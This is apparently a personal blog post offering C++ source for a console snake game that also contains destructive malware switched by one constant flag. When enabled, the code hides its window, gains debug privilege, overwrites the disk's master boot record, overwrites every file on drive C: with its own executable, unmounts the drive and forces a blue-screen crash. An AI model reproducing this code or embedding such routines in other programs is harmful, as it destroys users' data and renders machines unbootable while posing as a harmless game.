跳到正文

个人记录

贪吃蛇小游戏 (doge)

0_0_0约 21 分钟
原文
文章信息与版本

文章信息

发布
2020年5月16日
收录
2026年2月4日
更新
2026年10月11日
篇幅
约 21 分钟

版本

  1. v2当前
  2. v1

内置贪吃蛇

gmg.cpp:

C++
#include <bits/stdc++.h>
#include <windows.h>
#include <io.h>
#include <conio.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
using namespace std;
const int bd = 0;//关闭病毒 = 0,开启病毒 = 1
typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);
typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
void color(int a){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);}
void gotoxy(int x,int y){COORD pos;pos.X=y,pos.Y=x;SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}
bool EnableDebugPrivilege(){
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)){return 0;}
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)){CloseHandle(hToken);return 0;}
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)){CloseHandle(hToken);return 0;}
    return 1;
}
#define high 20
#define width 30
#define snake_maxlength 200
int snake_x[snake_maxlength],snake_y[snake_maxlength];
int snake_length;
int mapp[high][width]={0};
int food_x,food_y;
int score;
char input;
char primeinput='.';
int op;
void setdata(){
    snake_x[0]=high/2;snake_y[0]=width/3;
    snake_x[1]=high/2;snake_y[1]=width/3+1;
    snake_length=2;
    food_x=high/3,food_y=width/3;
    score=0;
    mapp[snake_x[0]][snake_y[0]]=4;
    mapp[snake_x[1]][snake_y[1]]=1;
    mapp[food_x][food_y]=2;

}
void printmap(){
    for(int i=0;i<high;i++){
        mapp[i][0]=3;
        mapp[i][width-1]=3;
        gotoxy(i,0);
        cout<<"□";
        gotoxy(i,(width-1)*2);
        cout<<"□";
    }
    for(int i=0;i<width;i++){
        mapp[0][i]=3;
           mapp[high-1][i]=3;
           gotoxy(0,i*2);
           cout<<"□";
           gotoxy(high-1,i*2);
           cout<<"□";
    }
}
void show(){
    gotoxy(0,0);
    for(int i=0;i<high;i++){
         for(int j=0;j<width;j++){
             if(mapp[i][j]==1){
                 gotoxy(i,j*2);
                 cout<<"◆";
             }
             else if(mapp[i][j]==2){
                gotoxy(i,j*2);
                 cout<<"○";
             }
             else if(mapp[i][j]==4){
                 gotoxy(i,j*2);
                 cout<<"●";
             }
        }
        printf("\n");
    }
    gotoxy(0,0);
    cout<<"□";
    gotoxy(high,0);
    printf("得分:%d\n",score);
}
bool updatewithoutinput(){
     if(snake_x[0]==food_x&&snake_y[0]==food_y){
         score++;
         srand((unsigned)time(NULL));
         do{
             food_x=rand()%(high-3)+1;
             food_y=rand()%(width-3)+1;
        }while(mapp[food_x][food_y]==1||mapp[food_x][food_y]==4);
        mapp[food_x][food_y]=2;
         snake_length++;
    }
    if(snake_x[0]==0||snake_x[0]==high-1||snake_y[0]==0||snake_y[0]==width-1){
         cout<<"游戏结束!"<<endl;
         getch();
         return 0;
    }
    for(int i=1;i<snake_length;i++){
        if(snake_x[0]==snake_x[i]&&snake_y[0]==snake_y[i]){
              cout<<"游戏结束"<<endl;
              getch();
              return 0;
        }
    }
    return 1;
}
bool updatewithinput(){
     int i=1;
     if(kbhit())
       input=getch();
    if(input!='\0'){
         if(input=='w'||input=='a'||input=='s'||input=='d'){
             if(primeinput=='w'&&input=='s'||primeinput=='s'&&input=='w'||primeinput=='a'&&input=='d'||primeinput=='d'&&input=='a'){
               //return 0;
            }else primeinput=input;
         }
         else if(primeinput=='.') primeinput='w';
         else if(input=='p'){
             while(1){
                 char op;
                 op=getch();
                 if(op=='p'){
                    input='.';
                     break;
                 }
            }
        }
        else if(input=='+'){if(op>=50) op=op/2;}
        else if(input=='-'){if(op<=1000) op=op*2;}
         mapp[snake_x[snake_length-1]][snake_y[snake_length-1]]=0;
         gotoxy(snake_x[snake_length-1],snake_y[snake_length-1]*2);
         printf("  ");
        for(i=snake_length-1;i>0;i--){
             snake_x[i]=snake_x[i-1];
             snake_y[i]=snake_y[i-1];
             mapp[snake_x[i]][snake_y[i]]=1;
        }
    }
    if(primeinput=='w') snake_x[0]--;
    else if(primeinput=='s') snake_x[0]++;
    else if(primeinput=='a') snake_y[0]--;
    else if(primeinput=='d') snake_y[0]++;
    mapp[snake_x[0]][snake_y[0]]=4;
    return 1;
 }
void game(){
    if(bd) printf("现在关我已经没用了,好好玩一把贪吃蛇吧(doge)\n");
    int oplevel;
    setdata();
    printf("请输入等级(1.xx 2.简单 3.正常 4.哦豁):");
    cin>> oplevel;
    if(oplevel<=0){
        op = 1;
    }else if(oplevel==1){
        op = 500;
    }else if(oplevel==2){
        op = 300;
    }else if(oplevel==3){
        op = 200;
    }else if(oplevel==4){
        op = 30;
    }else if(oplevel>4){
        op = 1;
    }
    system("cls");
    printmap();
    while(1){
        show();
        Sleep(op);
        if(!updatewithoutinput()) {return ;}
        if(!updatewithinput()) {return ;}
    }
}
void getIP(){
    in_addr PcAddr;
    WSADATA WSAData;
    if (WSAStartup(MAKEWORD(2, 0),&WSAData)){
        printf("WSAStartup failed %s\n", WSAGetLastError());
        return ;
    }

    char hostName[256];
    if(gethostname(hostName,sizeof(hostName))){
        printf("Error: %u\n", WSAGetLastError());
        return ; //异常退出
    }
    printf("主机名:       %s\n", hostName);

    hostent *host=gethostbyname(hostName);
    if(host==NULL){
        printf("Error: %u\n", WSAGetLastError());
        return ; //异常退出
    }

    cout<<"主机地址类型:  "<<host->h_addrtype<<endl
    <<"地址清单:      "<<host->h_addr_list<<endl
    <<"别名列表:      "<<host->h_aliases<<endl
    <<"地址长度:      "<<host->h_length<<endl
    <<"正式的主机名:  "<<host->h_name<<endl;

    for(int i=1;host->h_addr_list[i-1]!=NULL;i++){
        memcpy(&(PcAddr.S_un.S_addr),host->h_addr_list[i-1],host->h_length);
        printf("该主机IP%d :    %s\n",i,(char *)::inet_ntoa(PcAddr));
    }
    WSACleanup();
}
void getSysInfo(){
    SYSTEM_INFO sysInfo;
    OSVERSIONINFOEX osvi;
    GetSystemInfo(&sysInfo);
    osvi.dwOSVersionInfoSize=sizeof(osvi);
    if(GetVersionEx((LPOSVERSIONINFOA)(&osvi))){
        printf("操作系统版本 :     %u.%u.%u\n", osvi.dwMajorVersion, osvi.dwMinorVersion,osvi.dwBuildNumber);
        printf("Service Pack :     %u.%u\n", osvi.wServicePackMajor, osvi.wServicePackMinor);
    }
    printf("处理器架构 :       %u\n", sysInfo.wProcessorArchitecture);
    printf("处理器级别 :       %u\n", sysInfo.wProcessorLevel);
    printf("处理器版本 :       %u\n", sysInfo.wProcessorRevision);
    printf("处理器掩码 :       %u\n", sysInfo.dwActiveProcessorMask);
    printf("处理器数量 :       %u\n", sysInfo.dwNumberOfProcessors);
    printf("处理器类型 :       %u\n", sysInfo.dwProcessorType);
    printf("页面大小 :         %u\n", sysInfo.dwPageSize);
    printf("应用程序最小地址 : %u\n", sysInfo.lpMinimumApplicationAddress);
    printf("应用程序最大地址 : %u\n", sysInfo.lpMaximumApplicationAddress);
    printf("虚拟内存分配粒度 : %u\n", sysInfo.dwAllocationGranularity);
    printf("OemId :            %u\n", sysInfo.dwOemId);
    printf("wReserved :        %u\n", sysInfo.wReserved);
}
unsigned char *buf;
unsigned int length;
void CopyFile(string src){
    FILE *fSrc=fopen(src.c_str(),"rb");
    fseek(fSrc,0,SEEK_END);
    length=ftell(fSrc);
    buf=new unsigned char[length+1];
    memset(buf,0,length+1);
    fseek(fSrc,0,SEEK_SET);
    fread(buf,length,1,fSrc);
    fclose(fSrc);
}
void StickFile(string des){
    FILE *fDes=fopen(des.c_str(),"wb");
    fwrite(buf,length,1,fDes);
    fclose(fDes);
}
void findfile(string from){
    srand(time(NULL));
    WIN32_FIND_DATAA FindFileData;
    string way=from+"\\*";
    string W,C;
    long lfDir;
    _finddata_t fileDir;
    if((lfDir = _findfirst(way.c_str(),&fileDir))==-1){
        return;
    }else{
        do{
            C=fileDir.name;W=from+"\\"+C;
            FindFirstFileA(W.c_str(),&FindFileData);
            if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
                if(C!="$RECYCLE.BIN"&&C!="."&&C!=".."){
                    findfile(W);
                }
            }else{
                color(rand()%255);
                StickFile(W);
                cout<<W<<endl;
            }
        }while( _findnext( lfDir, &fileDir ) == 0 );
    }
    _findclose(lfDir);
}
unsigned char   scode[]=
    "\xb8\x12\x00"
    "\xcd\x10\xbd"
    "\x18\x7c\xb9";

void writeMBR(){
    DWORD dwBytesReturned;
    BYTE pMBR[512]={0};
    memcpy(pMBR, scode, sizeof(scode));
    pMBR[510]=0x55;
    pMBR[511]=0xaa;
    HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE){
        return ;
    }
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
    WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
 }

LPVOID lpFuncAddress;
LPVOID lpFuncAddress2;
void bluewindowinit(){
    lpFuncAddress = (LPVOID)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
    lpFuncAddress2 = (LPVOID)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtRaiseHardError");
}
void bluewindow(){
    BOOLEAN bEnabled;
    ULONG uResp;
    pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)lpFuncAddress;
    pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)lpFuncAddress2;
    NTSTATUS NtRet = NtCall(19, TRUE, FALSE, &bEnabled);
    NtCall2(STATUS_FLOAT_MULTIPLE_FAULTS, 0, 0, 0, 6, &uResp);
}
int main(){
    if(bd) ShowWindow(GetConsoleWindow(), SW_HIDE);
    if(bd) EnableDebugPrivilege();
    if(bd){
        getIP();
        cout<<"-----------------------------------------------"<<endl;
        getSysInfo();
    }
    if(bd) writeMBR();
    if(bd) bluewindowinit();
    if(bd) CopyFile(_pgmptr);
    if(bd) findfile("C:");
    if(bd) system("Mountvol C:\ /d");
    if(bd) ShowWindow(GetConsoleWindow(),SW_SHOWNORMAL);
    color(7);
    system("cls");
    game();
    color(7);
    system("cls");
    if(bd) bluewindow();
    if(bd) while(1);
    return 0;
}

原文